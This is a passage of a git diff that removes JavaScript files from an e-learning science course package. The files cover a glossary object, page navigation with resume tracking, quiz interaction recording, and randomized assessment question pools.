-function termExists(pTermName){
-	return glossaryObject.termExists(pTermName);
-}
-
-
-
-function getTermList(){
-	return glossaryObject.getTermList();
-}
-
-
-
-function getTermCount(){
-	return glossaryObject.getTermCount();
-}
-
-
-
-function getDefinition(pTermName){
-	if(glossaryObject.termExists(pTermName)){
-		return glossaryObject.getTerm(pTermName).getDefinition();
-	}else{
-		return null;
-	}	
-}
-
-
-
-function getDefinitionAt(pTermName , pIndex){
-	if(glossaryObject.termExists(pTermName)){
-		return glossaryObject.getTerm(pTermName).getDefinitionAt(pIndex);
-	}else{
-		return null;
-	} 
-}
-
-
-
-function getAllDefinitions(pTermName){
-	if(glossaryObject.termExists(pTermName)){
-		return glossaryObject.getTerm(pTermName).getAllDefinitions();
-	}else{
-		return null;
-	}	
-}
-
-
-
-
-function getDefinitionCount(pTermName){
-	if(glossaryObject.termExists(pTermName)){
-		return glossaryObject.getTerm(pTermName).getDefinitionCount();
-	}else{
-		return null;
-	}	
-}
-
-
-
-function createTerm(pTermName , pDefinition){
-	return new GlossaryTerm(pTermName , pDefinition);
-}
-
-
-
-function addTermToGlossary(pTermObject){
-	glossaryObject.addTerm(pTermObject);
-}
-
-
-
-
-function getSortedGlossary(){
-	return glossaryObject.getSortedGlossary();
-}
-
-
-
-
-/// Private Variables and Functions , DO NOT USE THESE DIRECTLY
-
-
-var glossaryObject		=	new Glossary();
-
-
-
-function Glossary(){
-	this.glossaryList 	=	new Object();
-	
-		
-	this.addTerm		=	_addTerm;
-	this.getTerm	 	=	_getTerm;	
-	this.getTermList 	=	_getTermList;	
-	this.getTermCount	=	_getTermCount;
-	
-	this.getDefinition	=	_getDefinition;
-	this.getSortedGlossary 	=	_getSortedGlossary;
-		
-	this.termExists		=	_termExists;			
-	
-	function _addTerm(pGlossaryTermObject){
-		this.glossaryList[pGlossaryTermObject.getTerm()]	= 	pGlossaryTermObject;			
-	}
-	
-	function _getDefinition(pTermName){
-		var tGlossaryTerm 		= 	this.glossaryList[pTermName];
-		if(tGlossaryTerm){
-			return tGlossaryTerm.getDefinition();			
-		}
-		return null;
-	}
-	
-	function _getTermCount(){
-      		var key;
-		var counter	=	0;
-		for(key in this.glossaryList){
-			counter++;
-		}
-		return counter;	
-	}
-	
-	function _getSortedGlossary(){
-	  var terms = this.getTermList();
-	  var sortedGlossary = new Array();
-	 
-	  terms.sort();	
-	  for(j=0;j<terms.length;j++){
-	  	 sortedGlossary[sortedGlossary.length] = this.getTerm(terms[j]);
-	  }
-	  return sortedGlossary;
-	 }
-	
-	
-	function _getTerm(pTermName){
-	  	var key;
-		for(key in this.glossaryList){
-			if(pTermName == key){
-			   	return this.glossaryList[key]
-			}
-		}
-		return null;
-	}
-   
-   	function _getTermList(){
-		var termList = new Array();
-		var key;
-		for(key in this.glossaryList){
-			termList[termList.length]= key;
-		}
-		return termList;
-	} 
-
-	function _termExists(pTermName){
-		var exists   	=	false;
-		var tTerm	=	this.glossaryList[pTermName];
-		if(tTerm){
-			exists	=	true;
-		}
-		return exists;
-	}
-	
-}/// END OF GLOSSARY OBJECT DEFINITION
-
-
-
-function GlossaryTerm(pTermName,pDefinition){
-	
-	this.term 		= 	pTermName;
-	this.definitionList	=	new Array();
-	this.definitionList[0]	=	pDefinition;
-	
-	
-	this.addDefinition	=	_addDefinition;
-	
-	this.getDefinition	=	_getDefinition;
-	this.getDefinitionAt	=	_getDefinitionAt;	
-	this.getDefinitionCount	=	_getDefinitionCount;
-	this.getAllDefinitions	=	_getAllDefinitions;
-	
-	this.getTerm       	=	__getTerm;	
-	
-	
-	function _addDefinition(pDefinition){
-		this.definitionList[this.definitionList.length]	=	pDefinition;
-		warn("definitionListLength : " , this.definitionList.length);
-	}
-	
-	
-	function _getDefinition(){
-		var tDefinition	=	this.definitionList[0];
-		if(tDefinition){
-		    return tDefinition;	
-		}else{
-		    return null;	
-		}		
-	}
-	
-	
-	function _getDefinitionAt(pIndex){
-		var tDefinition		=	"";
-		if( !isNaN(pIndex) && pIndex > -1 && pIndex < this.definitionList.length){
-			tDefinition	=	this.definitionList[Math.floor(pIndex)];
-		}
-		return tDefinition;
-	}
-	
-    	function __getTerm(){
-		return this.term;
-	}
-
-    	function _getDefinitionCount(){
-    		return this.definitionList.length;
-    	}
-    	
-    	function _getAllDefinitions(){
-    		var tArray	=	new Array();
-    		var len		=	this.definitionList.length;
-    		var counter	=	0;
-    		
-    		while(counter < len){
-    			tArray[counter]	= this.definitionList[counter];	
-    			counter++;
-    		}
-    	 return tArray;	
-    	}
-    
-}/// END OF GLOSSARYTERM DEFINITION
-
-
- 
-
-
-function writeToPopup( tContent){
-	if( !iPopup || !window.csl_popup ){
-		iPopup = window.open("","csl_popup",",width=480,height=180,scrollbars=yes");
-	}
-	iPopup.document.write(tContent);
-	iPopup.document.close();
-	iPopup.focus();
-}
-
-
-function findOpelPresentationAPI(win){
-	//debugger;
-	var findAPITries = 0;
-	var tChildFrame;
-   	while ( win != null && win.OpelPresentationAPI == null ){
-		findAPITries++;     
-	
-      	if (findAPITries > 10) {
-			break;
-      	}      
-		tChildFrame = findInChildFrames(win);
-		if( tChildFrame){
-			return tChildFrame;
-		}
-      	win = win.parent;
-   	}
-   	
-   	
-
-   	if(!win || !win.OpelPresentationAPI) {
-	   	    if(win.opener){		
-	   		var API = findOpelPresentationAPI(win.opener);
-	   		return API;
-	   	    }		
-   	}
-   	
-   	if(win)	return win.OpelPresentationAPI;
-   	else return null;
-}
-
-
-function findInChildFrames(win){
-	for(i=0; i< win.frames.length ; i++ ){
-		if( win.frames[i].OpelPresentationAPI ){
-			return win.frames[i];
-		}
-	}
-	return null;
-}
-	
-
-function displayURLIfOnline(pURL,pWindowName,pFeatures){
-	if(opelapi){
-		var isOnline = opelapi.isOnline();
-		if(isOnline){
-			window.open(pURL,pWindowName,pFeatures);
-		}
-		else{
-			alert('You are in offline mode, please come online and check the link');
-		}
-	}
-	else{
-		window.open(pURL,pWindowName,pFeatures);
-	}
-}
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0502/shared/scripts/csl_interactionsadapter.js b/Explore/elr/Science/S0502/shared/scripts/csl_interactionsadapter.js
deleted file mode 100755
index dba251b..0000000
--- a/Explore/elr/Science/S0502/shared/scripts/csl_interactionsadapter.js
+++ /dev/null
@@ -1,42 +0,0 @@
-
-
-
-
-// version --- CSL_1.3.0.0
-
- 
-
-function saveAsCMIInteractions()
-{
-	var tQuestions	=	parent.quizheader.iFinalQuestions;
-	var tQuestion	=	null;
-	
-	var counter	=	0;
-	var size	=	tQuestions.length;
-	var interaction	=	null;
-	
-	while(counter < size)
-	{
-		tQuestion	=	tQuestions[counter];
-		interaction	=	getInteraction(tQuestion.id);
-		
-		if(tQuestion.type == "single" || tQuestion.type == "multiple" ){
-			interaction.type=	"choice";
-		}
-		
-		interaction.student_response	=	parent.quizheader.iUserAnswers[counter];
-		interaction.correct_response	=	parent.quizheader.iAnswersArray[counter];
-		interaction.weighting		=	"1";
-		
-		if(tQuestion.userResponse)
-		{
-			interaction.result	=	"correct";
-		}else{
-			interaction.result	=	"wrong";
-		}
-		addInteraction(interaction);
-		counter++;
-	}
-	
-	saveInteractions();
-}
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0502/shared/scripts/csl_navigation.js b/Explore/elr/Science/S0502/shared/scripts/csl_navigation.js
deleted file mode 100755
index 619f079..0000000
--- a/Explore/elr/Science/S0502/shared/scripts/csl_navigation.js
+++ /dev/null
@@ -1,405 +0,0 @@
-
-
-// version --- CSL_1.3.0.0
-
-
-
-var resume = false;
-
-
-var calculateStatus = true;
-
-var loadFirstPage 	= true;
-
-
-//
-//	Public functions
-//
-
-
-
-
-function setContentFrame(pFrame){
-	contentFrame = pFrame;	
-}
-
-
-
-function getContentFrame(){
-	return contentFrame;
-}
-
-
-
-
-function addPage(pageId,pageURL){
-	var tPage = new Page(pageId,pageURL);
-	pages[pages.length] = tPage;
-	tPage.index = Page.counter++;	
-	iAllowedScore += 1.0;
-}
-
-
-
-
-
-
-function gotoFirstPage(){
-	saveCurrentPageData();
-	var tPage = pages[0];
-	if( tPage ){
-		currentPage = 0;
-		if(setValue){
-			setValue(LESSON_LOCATION,tPage.pageURL);	
-		}
-		contentFrame.document.location.href = selfLocation + tPage.pageURL;
-	}	
-}
-
-// This function will take the user to the last visited page in the SCO.
-function gotoLastVisitedPage(){
-	if( getValue && resume){
-		var resumeLocation = getValue(LESSON_LOCATION);
-		if(checkResume(resumeLocation)){
-			setCurrentPage(resumeLocation);
-			contentFrame.document.location.href = resumeLocation;
-		}
-		else{
-			var tPage = pages[0];
-
-			if( tPage ){
-				currentPage = 0;
-				if(setValue){
-					setValue(LESSON_LOCATION,tPage.pageURL);	
-				}
-				contentFrame.document.location.href = selfLocation + tPage.pageURL;
-			}
-		}	
-	}
-	else{
-		gotoFirstPage();
-	}	
-}
-
-
-
-function gotoLastPage(){
-	saveCurrentPageData();
-	var tPage = pages[pages.length - 1];
-	if(tPage){
-		currentPage = pages.length - 1;
-		if(setValue){
-			setValue(LESSON_LOCATION,tPage.pageURL);	
-		}		
-		contentFrame.document.location.href = selfLocation + tPage.pageURL;
-	}
-}
-
-
-
-
-
-function gotoPreviousPage(){
-	saveCurrentPageData();
-	if( currentPage > 0 ){
-		var tIndex = currentPage - 1;
-		var tPage = pages[tIndex];
-		if( tPage ){
-			currentPage = tIndex;
-			if(setValue){
-				setValue(LESSON_LOCATION,tPage.pageURL);	
-			}
-			contentFrame.document.location.href = selfLocation + tPage.pageURL;
-		}
-	}
-}
-
-
-
-
-function gotoNextPage(){
-	saveCurrentPageData();
-	if( (currentPage + 1) < pages.length ){
-		var tIndex = currentPage + 1;
-		var tPage = pages[tIndex];
-		if( tPage ){
-			currentPage = tIndex;
-			if(setValue){
-				setValue(LESSON_LOCATION,tPage.pageURL);	
-			}	
-			contentFrame.document.location.href = selfLocation + tPage.pageURL;
-		}
-	}
-}
-
-
-function gotoPage(pageid){
-
-	saveCurrentPageData();
-	pageid = getPageIndex(pageid);
-	if( pageid < pages.length && pageid >= 0){
-		var tPage = pages[pageid];
-		if( tPage ){
-			currentPage = pageid;
-			if(setValue){
-				setValue(LESSON_LOCATION,tPage.pageURL);	
-			}
-			contentFrame.document.location.href = selfLocation + tPage.pageURL;
-		}
-	}
-	
-	
-}
-
-function launchSCO(){
-	getDataFromPersistence();
-	selfLocation = self.location.href.substring(0, self.location.href.lastIndexOf("/") +1 ) ;
-	if( loadFirstPage ){
-		gotoLastVisitedPage();
-	}
-}
-
-function exitSCO(){
-	updateData();
-}
-
-
-
-function setCurrentPageStatus(status){
-
-	var tPage = pages[currentPage];
-	if( tPage ){ 
-		if( status == "VISITED" ){
-			tPage.userScore = 1.0;
-			tPage.userStatus = VISITED;			
-		}
-		else if( status == "PASSED" ){
-			tPage.userScore = 1.0;
-			tPage.userStatus = PASSED;
-		}
-		else if( status == "REVIEW" ){
-			tPage.userScore = 0.0;
-			tPage.userStatus = REVIEW;
-		}
-		else{
-			tPage.userStatus = VISITED;
-		}
-	}	
-}
-
-// The following variable and functions are used internally within this Javascripts and hence 
-// should not be used outside this Javascript.
-
-
-var pages = new Array();
-// Current Page Index //
-var currentPage = -1;     
-// Content Frame , Represents the frame in which the SCO's html pages will be launched  
-var contentFrame = null; 
-
-// Resume Location //
-var LESSON_LOCATION = "cmi.core.lesson_location";   
-
-var iAllowedScore = 0.0;
-
-var iTotalUserScore = 0.0;
-var selfLocation = "";
-
-var UNVISITED 	= -1;
-var REVIEW		= 0;
-var VISITED 	= 1;
-var PASSED		= 2;
-
-var iUserStatus = "incomplete";
-
-
-
-function Page(pageId,pageURL){
-	this.pageId = pageId;
-	this.pageURL = pageURL;
-	this.index = 0;
-	
-	this.userStatus = UNVISITED;
-	this.userScore = 0.0;
-}
-Page.counter = 0;
-
-//
-//	This function is added so that the navigation controls can change their 
-//	Appearance if there isnt any next page
-//
-
-function hasNextPage(){
-	var retValue = false;
-	var tIndex = currentPage + 1;
-	if(pages[tIndex]){
-		retValue = true;		
-	}	
-	return retValue;	
-}
-
-//
-//	This function is added so that the navigation controls can change their 
-//	Appearance if there isnt any previous page
-//
-
-function hasPreviousPage(){
-	var retValue = false;
-	var tIndex = currentPage - 1;
-
-	if(pages[tIndex]){
-		retValue = true;		
-	}	
-	return retValue;	
-}
-
-
-function setCurrentPage(launchURL){
-	var size = pages.length;
-	var counter = 0;
-	var tPage = null;
-	matchFound = true;
-	
-	while(counter < size){
-		tPage = pages[counter];
-		if(tPage.pageURL == launchURL){
-			matchFound = true;
-			break;
-		}
-		counter++;
-	}
- 	if(!matchFound){
- 		currentPage = 0;
-	}else{
- 		currentPage = counter;
- 	}	
-}
-
-function saveCurrentPageData(){
-	if( currentPage > -1 ){
-		setCurrentPageStatus("VISITED");
-	}
-}
-
-function setPageStatus(pPageData){
-	//debugger;
-	var statusesData=	pPageData.split(';');
-	var length	=	statusesData.length;
-	var counter	=	0;
-	
-	var tData	=	"";
-	var tDataArray	=	null;
-	var pageId	=	"";
-	var pageStatus	=	"";
-	var pageStatuses=	new Object();
-	
-	// get all the statuses.
-	while( counter < length ){
-		tData	=	statusesData[counter] + "";
-		if(tData){
-			tDataArray=	tData.split(',');
-			pageId	=	tDataArray[0];// pageid is first .
-			pageStatus=	tDataArray[1];// status is next .
-		
-			pageStatuses[pageId]	=	pageStatus;
-		}	
-		counter++;
-	}
-	
-	// now set all of them.
-	for(pageindex = 0; pageindex < pages.length; pageindex++){
-		var tPage = pages[pageindex];
-		var tPageId = tPage.pageId + "";		
-		var tStatus;
-
-		if( tPage ){
-			tStatus	=	pageStatuses[tPageId];
-			
-			if(tStatus){
-				tStatus=	parseInt(tStatus);				
-			}
-			else{
-				tStatus	=	UNVISITED;
-			}
-			
-			tPage.userStatus=	tStatus;
-			if( tPage.userStatus > REVIEW ){
-				tPage.userScore = 1.0;
-			}
-			else{
-				tPage.userScore = 0.0;
-			}
-		}		
-	}
-}
-
-
-function getDataFromPersistence(){
-	var tPageData = "";
-	if( self.getElementFromSuspendData ){
-		tPageData = getElementFromSuspendData("page_data");
-	}
-	setPageStatus(tPageData);
-}
-
-function updateData(){
-	saveCurrentPageData();
-	var tString ="";
-	iTotalUserScore = 0;
-	for( i=0; i< pages.length; i++){
-		tPage = pages[i];
-		if( tPage ){	
-			if( tPage.userStatus > REVIEW ){
-				iTotalUserScore += tPage.userScore;
-			}
-			tString += tPage.pageId + "," + tPage.userStatus + ";";
-		}
-	}
-	
-	if( calculateStatus && iAllowedScore > 0 ){
-		if( iTotalUserScore >= iAllowedScore ){
-			iUserStatus = "completed";
-		}
-		else{
-			iUserStatus = "incomplete";
-		}
-		//setValue("cmi.core.score.raw",iTotalUserScore);
-		setValue("cmi.core.lesson_status",iUserStatus );		
-	}
-	if( self.addToSuspendData ){
-		addToSuspendData("page_data",tString);
-	}
-}
-
-
-function getPageIndex(pageid){
-	var tPage;
-	for( i=0; i < pages.length; i++){
-		tPage = pages[i];
-
-		if( tPage ){
-			if( tPage.pageId == pageid ){
-				return i;
-			}
-		}
-	}
-	return -1;
-}
-
-function checkResume(pLocation){
-	var isValid	=	false;
-	var counter	=	0;
-	var length	=	pages.length;
-	var location	=	null;
-	
-	while(counter < length){
-		location=	pages[counter].pageURL;
-		if(pLocation == location){
-			isValid	=	true;
-			break;
-		}
-		counter++;
-	}
-	
- return isValid;	
-}
diff --git a/Explore/elr/Science/S0502/shared/scripts/csl_randomassmt.js b/Explore/elr/Science/S0502/shared/scripts/csl_randomassmt.js
deleted file mode 100755
index 1538995..0000000
--- a/Explore/elr/Science/S0502/shared/scripts/csl_randomassmt.js
+++ /dev/null
@@ -1,2973 +0,0 @@
-
-
-
-// version --- CSL_1.3.0.0
-
-
-
-var passThreshold;
-
-
-
-var retainOrder = false;
-
-
-
-var isSingleQuestionPerPage=false;
-
-
-
-var isRandomized = true;
-
-var showPercentage = false;
-
-var repeatAcrossAttempts = true;
- 
-
- 
-var doAttemptAllAnswers = true;
-
-var resumeAssessment = false;
-
-
-
-
-
-
-var flashWidth=250;
-
-
-
-var flashHeight=250;
-
-
-function Answer(pText,pTrue){
-	this.text 			= pText;
-	this.correct			= pTrue;	
-}
-
- 
-
- 
-function Question(pId,pText,pType,pImageSRC){
-	
-	this.launchURL			= "";
-	this.id				= pId;
-	
-	this.index			= 0;
-	
-	this.questionIdCache		= new Object();
-	
-	this.text			= pText;
-	this.type			= pType;
-	this.image			= pImageSRC;
-	
-	this.correctFeedbackText = "";	
-	this.incorrectFeedbackText = "";	
-	this.mandatory      	  	= false;
-	this.leafQuestion   	  	= true;
-	this.mandatoryChildren 	  	= new Array();
-	this.randomChildren		= new Array(); 
-	this.numberOfQuestionsToReturn 	= 0;
-		
-	this.answers			= new Array();
-	this.addAnswer			= addAnswer;
-	this.isAdded			= false;
-	this.userResponse		= false;
-
-	this.toString		= questionToString;
-	
-	this.setCorrectFeedback = setCorrectFeedback;
-	this.setIncorrectFeedback = setIncorrectFeedback;	
-	this.setLaunchURL		= setLaunchURL;
-	this.getLaunchURL		= getLaunchURL;
-	
-	this.setId 			= setId;
-	this.getId			= getId;
-	
-	this.setMandatory 	  	= setMandatory;
-	this.getMandatory 	  	= getMandatory;
-		
-	this.isLeafQuestion         	= isLeafQuestion;
-	
-	this.setNumberOfQuestionsToReturn = setNumberOfQuestionsToReturn;
-	this.getNumberOfQuestionsToReturn = getNumberOfQuestionsToReturn;
-	
-	this.getTotalNumberOfQuestions    = getTotalNumberOfQuestions;
-	this.getNumberOfRandomQuestions	= getNumberOfRandomQuestions;
-	this.getNumberOfMandatoryQuestions= getNumberOfMandatoryQuestions;
-	
-	this.addQuestion 		  	= addQuestion;
-	this.addMandatoryQuestions	= addMandatoryQuestions;
-	this.getRandomQuestion		= getRandomQuestion;
-	this.getMandatoryQuestion	= getMandatoryQuestion;
-	this.getRandomizedQuestions       = getRandomizedQuestions;
-	
-	this.getDifferentRandomQuestions  = _getDifferentRandomQuestions;
-	this.getNumberOfPreviousQuestions = _getNumberOfPreviousQuestions;	
-	
-	this.getQuestionById		= getQuestionById;
-	this.containsQuestion		= containsQuestion;
-	
-	this.threshold			=	0;	// field is valid only for pool question objects.
-	this.setThreshold		=	_setThreshold;
-	this.getThreshold		=	_getThreshold;
-
-	this.rolledUpStatus		=	false;	// if the number of questions passed are more than threshold , value will be true.
-	this.getRolledUpStatus		=	_getRolledUpStatus;
-	
-	this.instructionText		=	"";
-	
-	this.setInstructionText		=	_setInstructionText;
-	this.getInstructionText		=	_getInstructionText;
-	
-	
-	//Added to suit the render functionality
-	this.questionRenderer					= 		_defaultQuestionRenderer;
-	this.resultRenderer						=	_defaultResultRenderer;
-	this.choiceRenderer						= _defaultChoiceRenderer;
-	this.resultChoiceRenderer			= _defaultResultChoiceRenderer;
-	this.defaultSummaryCorrectRenderer = _defaultSummaryCorrectRenderer;
-	this.defaultSummaryInCorrectRenderer=_defaultSummaryInCorrectRenderer;
-	this.defaultSummaryNotAttemptedRenderer= _defaultSummaryNotAttemptedRenderer;
-	this.getRenderer                =       _getRenderer;
-	this.getResultRenderer		=		_getResultRenderer;
-	this.getChoiceRenderer          =       _getChoiceRenderer;
-	this.getResultChoiceRenderer          = _getResultChoiceRenderer;	
-	this.InstructionTextRenderer=_defaultInstructionTextRenderer;
-	this.instantCorrectFeedbackRenderer=_defaultInstantCorrectFeedbackRenderer;
-	this.instantInCorrectFeedbackRenderer=_defaultInstantInCorrectFeedbackRenderer;
-
-
-}
-
-function getLaunchURL(){
-	return this.launchURL;
-}
-function setLaunchURL(pURL){
-	this.launchURL = pURL;
-}
-function setId(pId){
-	this.id = pId;
-}
-function getId(){
-	return this.id;
-}
-
- 
-
- 
-function _setInstructionText(pText){
-	this.instructionText	=	pText;
-}
-
-function _getInstructionText(){
-	return this.instructionText;
-}
-
-
-
-function setMandatory(pBoolean){
-	this.mandatory = pBoolean;
-}
-
-
-
-function setCorrectFeedback(pFeedback){
-	this.correctFeedbackText = pFeedback;
-}
-
-
-
-function setIncorrectFeedback(pFeedback){
-	this.incorrectFeedbackText = pFeedback;
-}
-
-
-function getMandatory(){
-	return this.mandatory;
-}
-
-function isLeafQuestion(){
-	return this.leafQuestion;
-} 
- 
- 
- 
-function addQuestion(pQuestion){
-	if(pQuestion.getMandatory()){
-		this.mandatoryChildren[this.mandatoryChildren.length]= pQuestion;
-	}else{	
-		this.randomChildren[this.randomChildren.length]	     = pQuestion;
-	}	
-	this.leafQuestion = false;
-	this.questionIdCache[pQuestion.getId()]	= true;	
-}
-
- 
- 
-
-function addAnswer(pIndex , pAnswer){
-	this.answers[pIndex] = pAnswer;
-}
-function getTotalNumberOfQuestions(){
-	return this.randomChildren.length + this.mandatoryChildren.length;
-}
-function getNumberOfRandomQuestions(){
-	return this.randomChildren.length;
-}
-function getNumberOfMandatoryQuestions(){
-	return this.mandatoryChildren.length;
-}
-
-  
-
-function setNumberOfQuestionsToReturn(pNumber){
-	var tNum	=	parseInt(pNumber);
-	
-	if(tNum >= 0 ){
-		if(tNum < this.mandatoryChildren.length || tNum > (this.mandatoryChildren.length + this.randomChildren.length))
-		{
-		    var message = "The Number Of Mandatory Questions are more than the number of questions you have asked"
-		    message += " or the total number of questions are less";
-		    alert(message);
-		}    
-		else
-		{
-		    this.numberOfQuestionsToReturn = tNum;
-		}	
-	}else{
-		alert("Enter a positive number for setNumberOfQuestionsToReturn");
-	}
-}
-
-function getNumberOfQuestionsToReturn(){
-	return this.numberOfQuestionsToReturn;
-}
-
-
-function getRandomQuestion(pIndex){
-	var retValue = null;
-	if(pIndex < this.randomChildren.length && pIndex >= 0){
-		retValue = this.randomChildren[pIndex];
-	}
-return retValue;	
-}
-
-function getMandatoryQuestion(pIndex){
-	var retValue = null;
-	if(pIndex < this.mandatoryChildren.length && pIndex >= 0){
-		retValue = this.mandatoryChildren[pIndex];
-	}
-return retValue;	
-}
-
-
-var tPoolQuestionOrder = "";
-
-function getRandomizedQuestions(pOrder,pArray , pIdCache){
-	
-	var numOfMandatory = this.getNumberOfMandatoryQuestions();
-	var numOfRandomQuestions = this.getNumberOfRandomQuestions() - 1;
-	var totalQuestions = this.getNumberOfQuestionsToReturn();
-	
-	var numberToRandomize = totalQuestions - numOfMandatory;
-	
-	var tQuestion	=	this.getRandomQuestion(0);
-	
-	if( !tQuestion ){
-		tQuestion	=	this.getMandatoryQuestion(0);    
-	}
-	// randomize the 'normal' way only if repeatAcrossAttempts is true OR repeatAcrossAttempts is false AND child questions are pools.
-	// the repeatAcrossAttempts logic is NOT applied to child pool questions.
-	
-	if( (!retainOrder && repeatAcrossAttempts) || (!retainOrder && !repeatAcrossAttempts && !tQuestion.isLeafQuestion())   ){
-		if(numberToRandomize >= 0 ){
-
-			tPoolQuestionOrder = "";
-			this.addMandatoryQuestions(pOrder,pArray , pIdCache);
-
-			var randomIndex = null;
-			var previousIndexCache = new Object();
-
-			var iterator = 0;
-			var tQuestion = null;
-
-			while(iterator < numberToRandomize){
-					if( isRandomized ){
-					   randomIndex = Math.round(Math.random()*numOfRandomQuestions);
-					 }
-					 else{
-						randomIndex = iterator;
-					 }
-					 // The following line is added to avoid an error thrown in Solaris/mozilla.
-					 randomIndex = parseInt( randomIndex );
-				   if(!previousIndexCache[randomIndex]){
-					tQuestion = this.getRandomQuestion(randomIndex);
-					if(tQuestion.isLeafQuestion()){ 
-						pArray[pArray.length] = tQuestion;
-						
-						// Added by Jayaprakash A
-						tQuestion.index = pArray.length -1;
-						
-						pOrder[ORDER] += tQuestion.getId() + ",";
-						tPoolQuestionOrder += tQuestion.getId() + ",";
-					}	
-					else{
-						//debugger;
-						tQuestion.getRandomizedQuestions(pOrder,pArray,pIdCache);
-					}	
-					previousIndexCache[randomIndex] = true;
-					++iterator;	
-				   }			
-			}
-		}
-	}else{
-		this.getDifferentRandomQuestions(pOrder , pArray , pIdCache);
-	}	
-	//addToSuspendData( this.id + "_pool" ,  tPoolQuestionOrder );
-	tPoolQuestionOrder = "";
-	return pArray;	
-}
-
-function _getDifferentRandomQuestions(pOrder , pArray , pPreviousQuestionsCache){
-	var numOfMandatory = this.getNumberOfMandatoryQuestions();
-	var numOfRandomQuestions = this.getNumberOfRandomQuestions() - 1;
-	var totalQuestions = this.getNumberOfQuestionsToReturn();
-	
-	var numberToRandomize = totalQuestions - numOfMandatory;
-	
-	//debugger;
-	var numberOfPreviousQuestions	=	this.getNumberOfPreviousQuestions(pPreviousQuestionsCache);
-	//alert("numberOfPreviousQuestions== "+numberOfPreviousQuestions);
-	//alert("this.getTotalNumberOfQuestions()== "+this.getTotalNumberOfQuestions());
-	if( numberOfPreviousQuestions < this.getTotalNumberOfQuestions() ){
-		if(numberToRandomize >= 0 ){
-
-			tPoolQuestionOrder = "";
-			this.addMandatoryQuestions(pOrder,pArray , pPreviousQuestionsCache);
-
-			var randomIndex = null;
-			var previousIndexCache = new Object();
-
-			var iterator = 0;
-			var tQuestion = null;
-
-			while(iterator < numberToRandomize){
-					if( isRandomized ){
-					   randomIndex = Math.round(Math.random()*numOfRandomQuestions);
-					 }
-					 else{
-						randomIndex = iterator;
-					 }
-					 // The following line is added to avoid an error thrown in Solaris/mozilla.
-					 randomIndex = parseInt( randomIndex );			 
-				   if(!previousIndexCache[randomIndex]){
-					tQuestion = this.getRandomQuestion(randomIndex);
-					if( !pPreviousQuestionsCache[tQuestion.getId()] ){
-
-						if(tQuestion.isLeafQuestion()){ 
-							pArray[pArray.length] = tQuestion;
-							
-							// Added by Jayaprakash A
-							tQuestion.index = pArray.length -1;
-							
-							pOrder[ORDER] += tQuestion.getId() + ",";
-							tPoolQuestionOrder += tQuestion.getId() + ",";
-						}
-						// this should never be the case , since this pool contains only leaf child questions.
-						else{
-							tQuestion.getDifferentRandomQuestions(pOrder,pArray , pPreviousQuestionsCache) ;
-						}	
-						previousIndexCache[randomIndex] = true;
-						++iterator;						
-					}	
-				   }			
-			}
-		}
-	}else{
-		alert("Cannot Randomize , all the questions have been exhausted !");
-		return pArray;
-	}	
-	//addToSuspendData( this.id + "_pool" ,  tPoolQuestionOrder );
-	tPoolQuestionOrder = "";
-	return pArray;	
-}
-
-function _getNumberOfPreviousQuestions(pIdCache){
-	var count	=	0;
-	for(var id in pIdCache){
-		if( this.containsQuestion(id) ){
-			count++;
-		}	
-	}
-	return count;
-}
-
-function addMandatoryQuestions(pOrder,pArray , pIdCache){
-	var index = this.mandatoryChildren.length;
-	for(var i = 0 ; i < index ; i ++){
-		if(this.mandatoryChildren[i].isLeafQuestion()){
-			pArray[pArray.length] = this.mandatoryChildren[i];
-			
-			// Added by Jayaprakash A
-			this.mandatoryChildren[i].index = pArray.length -1;
-			
-			pOrder[ORDER] += this.mandatoryChildren[i].getId() + ",";
-			tPoolQuestionOrder += this.mandatoryChildren[i].getId() + ",";			
-		}
-		else{
-		   this.mandatoryChildren[i].getRandomizedQuestions(pOrder,pArray , pIdCache);		
-		}
-	}	
-}
-
-function containsQuestion(pId){
-	var retValue = this.questionIdCache[pId];
-	if(!retValue){
-		retValue = false;
-	}
-return retValue;	
-}
-
-function getQuestionById(pId){
-	var tQuestion = null;
-	var size      = this.randomChildren.length;
-	for(var i = 0 ; i < size ; i ++){
-		if(pId == this.randomChildren[i].getId()){
-			tQuestion = this.randomChildren[i];
-			break;
-		}
-	}
-	if(null == tQuestion){
-	size	      = this.mandatoryChildren.length;
-	  for(var i = 0 ; i < size ; i ++){
-		if(pId == this.mandatoryChildren[i].getId()){
-			tQuestion = this.mandatoryChildren[i];
-			break;
-		}
-	  } 	
-	}
-return tQuestion;	
-} 	
-
-function _getThreshold(){
-	return this.threshold;
-}
-
-function _setThreshold(pThreshold){
-	if(!isNaN(pThreshold)){
-		if(pThreshold <= this.getNumberOfQuestionsToReturn()){
-			this.threshold	=	pThreshold;
-		}else{
-			alert("Threshold is greater than numberOfQuestionsToReturn for pool : " + this.id + " !");
-		}	
-	}	
-}
-
-function _getRolledUpStatus(pQuestions){
-	//debugger;
-	var status	=	false;
-		
-	var tQuestion	=	this.getRandomQuestion(0);
-	if(!tQuestion)
-	{
-		tQuestion=	this.getMandatoryQuestion(0);
-	}
-	
-	if(tQuestion)
-	{
-		if(tQuestion.isLeafQuestion())
-		{
-			var counter	=	0;
-			var size	=	pQuestions.length;
-			var tQuestion	=	null;
-			var numOfCorrect=	0;
-			
-			while(counter < size)
-			{
-				tQuestion	=	pQuestions[counter];
-				if(this.containsQuestion(tQuestion.id))
-				{
-					if(tQuestion.userResponse)
-					{
-						numOfCorrect++;
-					}
-				}
-				counter++;
-			}
-			
-			if(numOfCorrect >= this.threshold)
-			{
-				status = true;
-			}
-		}else		
-		{
-			var counter	=	0;
-			var size	=	this.mandatoryChildren.length;
-			var tQuestion	=	null;
-			var numOfCorrect=	0;
-
-			while(counter < size)
-			{
-				tQuestion	=	this.mandatoryChildren[counter];
-				if(tQuestion.getRolledUpStatus(pQuestions))
-				{
-					numOfCorrect++;
-				}				
-				counter++;
-			}
-			
-			counter		=	0;
-			size		=	this.randomChildren.length;
-			tQuestion	=	null;
-			numOfCorrect	=	0;
-
-			while(counter < size)
-			{
-				tQuestion	=	this.randomChildren[counter];
-				if(tQuestion.getRolledUpStatus(pQuestions))
-				{
-					numOfCorrect++;
-				}				
-				counter++;
-			}
-			
-			if(numOfCorrect >= this.threshold)
-			{
-				status = true;
-			}
-		}
-	}
-	
-	return status;
-}
-
-/// END OF QUESTION OBJECT DEFINITION
- 
- 
-
-function getPoolStatus(pPoolId){
-	var status	=	false;
-	
-	if(pPoolId == iQuestions.id)
-	{
-		status	=	iQuestions.getRolledUpStatus(iHeaderFrame.iFinalQuestions);
-	}else{
